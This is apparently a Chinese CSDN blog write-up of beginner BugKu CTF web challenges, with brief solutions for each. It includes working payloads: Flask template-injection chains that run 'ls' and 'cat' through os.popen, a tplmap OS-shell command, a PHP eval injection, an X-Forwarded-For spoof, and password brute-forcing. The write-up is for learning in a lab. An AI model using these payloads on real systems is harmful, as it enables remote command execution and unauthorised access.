CTF BugKu平台—(Web篇①)

简介: CTF BugKu平台—(Web篇①)

Simple_SSTI_1:
最近也是刚入门web 也是小白一枚 ,写点自己得做题思路和经验,有不好得地方也请大家反馈和监督。

首先先看一下源代码,这句话得意思是让我们传参flag 参数,F12 看源代码

提示我们flask 经常设置一个secret_key 变量

第一次做也不知道啥意思去了解一下pyhon得flask框架 轻量级得web框架

根据题目提示SSTL 知道这是一个模板注入

SECRET_KEY:是flask 一个重要得配置值 需要用这个来加密
/?flag={{config.SECRET_KEY}} (注意大小写)

Simple_SSTI_2:
和上面一样的 也是模板注入 试了刚刚得传参发现不行

class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。

init 初始化类,返回的类型是function

globals[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。

os.popen() 方法用于从一个命令打开一个管道。 ##open() 方法用于打开一个文件,并返回文件对象

https://www.cnblogs.com/xiaochaofang/p/14533709.html (上面的参数解释来源于这一篇)
看了一篇这个 理解了一下参数得意思 ls查看一下

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}
1

列出了很多 的文件夹 也不知道哪个里面有flag 一个一个试 运气好第一个app就是

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}
1

因为没有过滤直接cat ../app/flag

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}
1

还有一种方法:这里使用 tplmap 工具 (支持python2)

git clone https://github.com/epinna/tplmap
1
使用方法:./tplmap.py -u <‘目标网址’> -os -shell选项与tplmap命令一起使用

列出文件夹 cat 文件夹直接可以 查看flag

Flask_FileUpload:
是一个上传点,F12有提示 关键字是只能上传 jpg 和 png 格式 ,

还有就是黄色字的提示(给我这个文件,我会用python把运行结果返回给你!)

新建一个txt 然后写入 一串python的操作系统调用命令 查看flag 后缀改为图片格式即可 。

滑稽:
直接F12 查看源代码 即可看到flag (就是有点费眼睛,滑稽=.=)

计算器:
直接F12查看源代码 然后修改 maxlength=“xx” 大于输出结果即可 随便改都可以 只要大于一就行。

GET:
通过url传入what的值,让其等于flag,直接构造url就得到flag。

POST:

矛盾:

即num既不能是数字字符,但是要等于1,我们可以想到用科学计数法表示数字1,既不是纯数字,其值又等于1因此
构造payload num=1e0.1

alert:

是一个弹窗 F12 找到一些线索,估计是编码,看了一下下面的评论知道是Unicode编码

http://tool.chinaz.com/tools/unicode.aspx?qq-pf-to=pcqq.group(Unicode码转ASCII码)

你必须让他停下:
发现是一个一直在闪的页面 使用bp 抓包 发送到requencer --send 随便点几下在 到10.jpg 发现了flag

game1:
就挺好玩的,玩个两盘热热身 开始做题了 ,咳咳 游戏结束先抓个包

这里的sign显示是加密的。这里是zMNTA,这里我好几次都是zM开头的 ==结束的,查看源代码。

由此可得sign值由三个部分组成 zM +base64编码+==

score.php?score=999999&ip=223.91.4.87&sign=zMOTk5OTk5==
1

网站被黑:
使用御剑扫一下后台 有个shell.php 密码是 hack 弱口令

本地管理员:

F12 看源代码 有个base64 的 提示 就是登入的账号密码 提示 ip 禁止访问 使用bp抓个包 然后在包里面添加 X-Forwarded-For: 127.0.0.1

bp:
弱密码top1000?z??? 根据给的提示 bp抓包 进行暴力破解 进行长度判断 最后得到密码zxc123 然后登入 即可获取 flag 。

字典下载链接:http://www.yesck.com/down/TOP1000password.txt(百度找到,这种字典网上一大堆随便找)

eval:

<?php

include "flag.php";                ///include是将flag.php文件包含进页面代码
$a = @$_REQUEST['hello'];        ///$_REQUEST可以用于接受传递POST或GET
eval( "var_dump($a);");            ///eval函数可以把字符串当作php命令执行
show_source(__FILE__);

?>
1
2
3
4
5
6
知道了这串代码啥意思我们就可以 写个payload 方法有很多种 做出来即可

ip/?hello=file('flag.php')
1

变量1:

虽然没有怎么学过php 大概看得懂 可以猜想 $ args很有可能是一个数组,想到会是超全局变量$GLOBALS

通过构造一个GET参数,直接传GET一个全局变量即可

?args=GLOBALS
1

头等舱:

确实什么都没有 bp抓包 send 即可

————————————————
版权声明:本文为CSDN博主「落寞的魚丶」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Aluxian_/article/details/122056093

相关文章
|
1月前
|
Unix Linux PHP
PHP在Web开发中的平台独立性优势###
本文探讨了PHP的跨平台特性,阐述其作为服务器端脚本语言如何在不同操作系统上无缝运行,以及这一特性为开发者和组织带来的便利性和成本效益。 ###
|
1月前
|
缓存 安全 JavaScript
PHP在Web开发中的平台优势与未来趋势###
【10月更文挑战第21天】 PHP,Hypertext Preprocessor,凭借其灵活性、广泛应用和强大社区支持,已成为Web开发的常青树。本文探讨了PHP的发展历程、核心优势、最佳实践案例及面临的挑战与机遇,揭示其在现代Web开发中不可替代的角色,以及如何适应未来技术趋势,持续引领Web创新。 ###
51 2
|
2月前
|
设计模式 PHP 开发者
PHP在Web开发中的平台优势与未来展望###
【10月更文挑战第17天】 本文探讨了PHP作为服务器端脚本语言在Web开发领域的持久魅力与独特优势,从其易于学习、成本效益高、强大社区支持到灵活的框架生态,展现了PHP为何能在全球网站开发中占据重要地位。同时,文章也展望了PHP在未来技术趋势下,如云计算、微服务架构中的发展潜力,强调持续创新对于保持其竞争力的重要性。 ###
37 2
|
4月前
|
PHP 数据安全/隐私保护
*CTF 2023 web jwt2struts 题解wp
*CTF 2023 web jwt2struts 题解wp
37 4
|
6月前
|
机器学习/深度学习 人工智能 Apache
人工智能平台PAI操作报错合集之alink任务可以在本地运行,上传到flink web运行就报错,如何解决
阿里云人工智能平台PAI (Platform for Artificial Intelligence) 是阿里云推出的一套全面、易用的机器学习和深度学习平台,旨在帮助企业、开发者和数据科学家快速构建、训练、部署和管理人工智能模型。在使用阿里云人工智能平台PAI进行操作时,可能会遇到各种类型的错误。以下列举了一些常见的报错情况及其可能的原因和解决方法。
|
7月前
|
SQL XML 安全
BugKu CTF(Web):sqli-0x1 & baby lfi & baby lfi 2
BugKu CTF(Web):sqli-0x1 & baby lfi & baby lfi 2
|
7月前
|
域名解析 Linux PHP
[CTF]ctfshow web入门
[CTF]ctfshow web入门
|
Web App开发 移动开发 JavaScript
开放的Web平台才是是我们想要的——HTML5变为HTML
     昨晚WHATWG宣布了一条重大消息——HTML5变为HTML。  他们发布的文章标题是:HTML is the new HTML5,什么意思呢?它的依据是,实际应用中的HTML和JavaScript在很多方面都在不断的进步,时刻都在变化,HTML5这个名称已经没有什么实际意义了,这意味着这份规范将发布更少的版本,取而代之的将是一个活的标准,将随着不断发展的新技术而自动调整。
786 0
|
2月前
|
XML JSON API
ServiceStack:不仅仅是一个高性能Web API和微服务框架,更是一站式解决方案——深入解析其多协议支持及简便开发流程,带您体验前所未有的.NET开发效率革命
【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架,支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程,提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑,安装简单,通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务,包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议,具备自动验证、自动过滤器等丰富功能,适合快速搭建高性能、可扩展的服务端应用。
169 3
|
1月前
|
设计模式 前端开发 数据库
Python Web开发:Django框架下的全栈开发实战
【10月更文挑战第27天】本文介绍了Django框架在Python Web开发中的应用,涵盖了Django与Flask等框架的比较、项目结构、模型、视图、模板和URL配置等内容,并展示了实际代码示例,帮助读者快速掌握Django全栈开发的核心技术。
184 45